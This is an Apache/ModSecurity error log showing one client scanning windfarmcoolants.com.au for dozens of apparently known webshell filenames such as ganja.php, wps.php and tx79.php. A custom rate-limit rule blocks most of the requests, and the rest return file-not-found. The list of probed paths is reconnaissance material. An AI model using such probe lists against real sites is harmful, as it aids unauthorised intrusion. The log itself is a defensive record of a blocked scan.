[Thu May 14 04:50:27.646402 2026] [:error] [pid 63033:tid 63050] [client 52.139.38.158:59715] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agTkE1MY49UWn5BpqVY01AAAAQ8"]
[Thu May 14 04:50:28.603290 2026] [:error] [pid 11690:tid 11717] [client 52.139.38.158:41638] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agTkFCnxWuLN8Hptw8le6gAAANI"]
[Thu May 14 04:50:29.213099 2026] [:error] [pid 63033:tid 63053] [client 52.139.38.158:37480] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "agTkFVMY49UWn5BpqVY02AAAARI"]
[Thu May 14 04:50:29.823776 2026] [:error] [pid 63033:tid 63048] [client 52.139.38.158:47779] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "agTkFVMY49UWn5BpqVY02wAAAQ0"]
[Thu May 14 04:50:30.385146 2026] [:error] [pid 11581:tid 11598] [client 52.139.38.158:59428] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "agTkFv0vF48FbzpvQMV_SAAAAAE"]
[Thu May 14 04:50:31.015124 2026] [:error] [pid 11690:tid 11722] [client 52.139.38.158:59431] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "agTkFynxWuLN8Hptw8le7QAAANc"]
[Thu May 14 04:50:31.896328 2026] [:error] [pid 11588:tid 11652] [client 52.139.38.158:59728] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ganja.php"] [unique_id "agTkF9Ur21rOixkeGKb46QAAAIA"]
[Thu May 14 04:50:32.581273 2026] [:error] [pid 11690:tid 11723] [client 52.139.38.158:59773] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ganja.php"] [unique_id "agTkGCnxWuLN8Hptw8le8gAAANg"]
[Thu May 14 04:50:33.135214 2026] [:error] [pid 11588:tid 11659] [client 52.139.38.158:41603] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ganja.php"] [unique_id "agTkGdUr21rOixkeGKb46gAAAIc"]
[Thu May 14 04:50:33.973182 2026] [:error] [pid 11690:tid 11699] [client 52.139.38.158:47770] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ganja.php"] [unique_id "agTkGSnxWuLN8Hptw8le8wAAAMA"]
[Thu May 14 04:50:34.731666 2026] [:error] [pid 63033:tid 63053] [client 52.139.38.158:47807] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "agTkGlMY49UWn5BpqVY05wAAARI"]
[Thu May 14 04:50:35.284516 2026] [:error] [pid 11588:tid 11653] [client 52.139.38.158:41667] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "agTkG9Ur21rOixkeGKb47AAAAIE"]
[Thu May 14 04:50:35.827431 2026] [:error] [pid 11588:tid 11655] [client 52.139.38.158:41591] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "agTkG9Ur21rOixkeGKb47gAAAIM"]
[Thu May 14 04:50:36.340173 2026] [:error] [pid 11582:tid 11642] [client 52.139.38.158:41616] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "agTkHPuw2cmFDpGcKhDLjwAAAFE"]
[Thu May 14 04:50:37.035950 2026] [:error] [pid 11588:tid 11667] [client 52.139.38.158:59773] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/card.php"] [unique_id "agTkHdUr21rOixkeGKb48QAAAI8"]
[Thu May 14 04:50:37.671028 2026] [:error] [pid 11588:tid 11673] [client 52.139.38.158:59447] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/card.php"] [unique_id "agTkHdUr21rOixkeGKb48gAAAJU"]
[Thu May 14 04:50:38.098785 2026] [:error] [pid 11581:tid 11618] [client 52.139.38.158:41660] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/card.php"] [unique_id "agTkHv0vF48FbzpvQMV_SwAAABU"]
[Thu May 14 04:50:38.569621 2026] [:error] [pid 11582:tid 11645] [client 52.139.38.158:59740] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/card.php"] [unique_id "agTkHvuw2cmFDpGcKhDLkwAAAFQ"]
[Thu May 14 04:50:39.112966 2026] [:error] [pid 11581:tid 11615] [client 52.139.38.158:41580] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "agTkH_0vF48FbzpvQMV_TAAAABI"]
[Thu May 14 04:50:40.481288 2026] [:error] [pid 11690:tid 11722] [client 52.139.38.158:47810] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "agTkICnxWuLN8Hptw8le-wAAANc"]
[Thu May 14 04:50:41.842428 2026] [:error] [pid 11588:tid 11660] [client 52.139.38.158:36760] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "agTkIdUr21rOixkeGKb49QAAAIg"]
[Thu May 14 04:50:44.060498 2026] [:error] [pid 63033:tid 63052] [client 52.139.38.158:59437] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "agTkJFMY49UWn5BpqVY07AAAARE"]
[Thu May 14 04:50:46.619751 2026] [:error] [pid 11588:tid 11665] [client 52.139.38.158:59759] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "agTkJtUr21rOixkeGKb4-AAAAI0"]
[Thu May 14 04:50:48.006834 2026] [:error] [pid 11690:tid 11705] [client 52.139.38.158:47780] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "agTkKCnxWuLN8Hptw8lfBgAAAMY"]
[Thu May 14 04:50:49.696625 2026] [:error] [pid 63033:tid 63052] [client 52.139.38.158:47757] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "agTkKVMY49UWn5BpqVY0-gAAARE"]
[Thu May 14 04:50:50.867474 2026] [:error] [pid 11690:tid 11713] [client 52.139.38.158:47781] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "agTkKinxWuLN8Hptw8lfEgAAAM4"]
[Thu May 14 04:50:52.307889 2026] [:error] [pid 11690:tid 11716] [client 52.139.38.158:37508] File does not exist: /usr/local/apache/htdocs/suspended-page/wgift1.php
[Thu May 14 04:50:52.525957 2026] [:error] [pid 11690:tid 11705] [client 52.139.38.158:37508] File does not exist: /usr/local/apache/htdocs/suspended-page/mar.php
[Thu May 14 04:50:52.743026 2026] [:error] [pid 11690:tid 11712] [client 52.139.38.158:37508] File does not exist: /usr/local/apache/htdocs/suspended-page/img.php
[Thu May 14 04:50:53.460897 2026] [:error] [pid 11690:tid 11718] [client 52.139.38.158:37508] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Thu May 14 04:50:53.689803 2026] [:error] [pid 11690:tid 11717] [client 52.139.38.158:37508] File does not exist: /usr/local/apache/htdocs/suspended-page/acp.php
[Thu May 14 04:50:53.927595 2026] [:error] [pid 11690:tid 11703] [client 52.139.38.158:37508] File does not exist: /usr/local/apache/htdocs/suspended-page/error_log.php
[Thu May 14 04:50:54.380062 2026] [:error] [pid 11690:tid 11701] [client 52.139.38.158:37508] File does not exist: /usr/local/apache/htdocs/suspended-page/zdd.php
[Thu May 14 04:50:54.596133 2026] [:error] [pid 11690:tid 11723] [client 52.139.38.158:37508] File does not exist: /usr/local/apache/htdocs/suspended-page/link.php
[Thu May 14 04:50:54.839482 2026] [:error] [pid 11690:tid 11707] [client 52.139.38.158:37508] File does not exist: /usr/local/apache/htdocs/suspended-page/sallu.php
[Thu May 14 04:50:55.056441 2026] [:error] [pid 11690:tid 11708] [client 52.139.38.158:37508] File does not exist: /usr/local/apache/htdocs/suspended-page/aboute.php
[Thu May 14 04:50:55.310292 2026] [:error] [pid 11690:tid 11713] [client 52.139.38.158:37508] File does not exist: /usr/local/apache/htdocs/suspended-page/ayk.php
[Thu May 14 04:50:55.542908 2026] [:error] [pid 11690:tid 11704] [client 52.139.38.158:37508] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "agTkLynxWuLN8Hptw8lfJQAAAMU"]
[Thu May 14 04:50:58.669840 2026] [:error] [pid 11581:tid 11615] [client 52.139.38.158:47817] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "agTkMv0vF48FbzpvQMV_VwAAABI"]
[Thu May 14 04:51:02.576518 2026] [:error] [pid 11582:tid 11642] [client 52.139.38.158:47853] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "agTkNvuw2cmFDpGcKhDLmwAAAFE"]
[Thu May 14 04:51:04.893992 2026] [:error] [pid 63033:tid 63058] [client 52.139.38.158:41609] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "agTkOFMY49UWn5BpqVY1BQAAARc"]
[Thu May 14 04:51:06.464529 2026] [:error] [pid 63033:tid 63057] [client 52.139.38.158:41565] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "agTkOlMY49UWn5BpqVY1BgAAARY"]
[Thu May 14 04:51:07.682827 2026] [:error] [pid 63033:tid 63047] [client 52.139.38.158:41593] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "agTkO1MY49UWn5BpqVY1CQAAAQw"]
[Thu May 14 04:51:08.208208 2026] [:error] [pid 63033:tid 63036] [client 52.139.38.158:36755] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "agTkPFMY49UWn5BpqVY1CwAAAQE"]
[Thu May 14 04:51:09.058127 2026] [:error] [pid 63033:tid 63049] [client 52.139.38.158:59769] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "agTkPVMY49UWn5BpqVY1DQAAAQ4"]
[Thu May 14 04:51:10.562571 2026] [:error] [pid 11690:tid 11699] [client 52.139.38.158:59714] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "agTkPinxWuLN8Hptw8lfPAAAAMA"]
[Thu May 14 04:51:11.843283 2026] [:error] [pid 11582:tid 11643] [client 52.139.38.158:47870] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "agTkP_uw2cmFDpGcKhDLnwAAAFI"]
[Thu May 14 04:51:12.280736 2026] [:error] [pid 11582:tid 11637] [client 52.139.38.158:47816] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "agTkQPuw2cmFDpGcKhDLoAAAAEw"]
[Thu May 14 04:51:13.138505 2026] [:error] [pid 11582:tid 11646] [client 52.139.38.158:41668] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "agTkQfuw2cmFDpGcKhDLoQAAAFU"]
[Thu May 14 04:51:13.850493 2026] [:error] [pid 11690:tid 11718] [client 52.139.38.158:47795] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "agTkQSnxWuLN8Hptw8lfQgAAANM"]
[Thu May 14 04:51:14.934347 2026] [:error] [pid 63033:tid 63059] [client 52.139.38.158:47814] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "agTkQlMY49UWn5BpqVY1EQAAARg"]
[Thu May 14 04:51:15.532939 2026] [:error] [pid 63033:tid 63057] [client 52.139.38.158:41585] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "agTkQ1MY49UWn5BpqVY1FAAAARY"]
[Thu May 14 04:51:16.085952 2026] [:error] [pid 63033:tid 63053] [client 52.139.38.158:47836] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "agTkRFMY49UWn5BpqVY1FgAAARI"]
[Thu May 14 04:51:16.941971 2026] [:error] [pid 11588:tid 11674] [client 52.139.38.158:47754] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "agTkRNUr21rOixkeGKb5BwAAAJY"]
[Thu May 14 04:51:18.078644 2026] [:error] [pid 63033:tid 63044] [client 52.139.38.158:47809] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "agTkRlMY49UWn5BpqVY1HgAAAQk"]
[Thu May 14 04:51:19.223786 2026] [:error] [pid 11581:tid 11607] [client 52.139.38.158:47823] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "agTkR_0vF48FbzpvQMV_awAAAAo"]
[Thu May 14 04:51:20.391833 2026] [:error] [pid 11588:tid 11676] [client 52.139.38.158:59420] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "agTkSNUr21rOixkeGKb5CQAAAJg"]
[Thu May 14 04:51:21.088472 2026] [:error] [pid 63033:tid 63047] [client 52.139.38.158:59405] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "agTkSVMY49UWn5BpqVY1JAAAAQw"]
[Thu May 14 04:51:21.660845 2026] [:error] [pid 63033:tid 63048] [client 52.139.38.158:37457] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "agTkSVMY49UWn5BpqVY1JgAAAQ0"]
[Thu May 14 04:51:22.452913 2026] [:error] [pid 63033:tid 63054] [client 52.139.38.158:37507] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "agTkSlMY49UWn5BpqVY1KgAAARM"]
[Thu May 14 04:51:23.916195 2026] [:error] [pid 63033:tid 63050] [client 52.139.38.158:37458] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "agTkS1MY49UWn5BpqVY1LQAAAQ8"]
[Thu May 14 04:51:25.207049 2026] [:error] [pid 63033:tid 63047] [client 52.139.38.158:59444] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "agTkTVMY49UWn5BpqVY1MQAAAQw"]
[Thu May 14 04:51:26.172777 2026] [:error] [pid 63033:tid 63039] [client 52.139.38.158:41556] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "agTkTlMY49UWn5BpqVY1MwAAAQQ"]
[Thu May 14 04:51:27.472522 2026] [:error] [pid 11690:tid 11703] [client 52.139.38.158:41654] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "agTkTynxWuLN8Hptw8lfWQAAAMQ"]
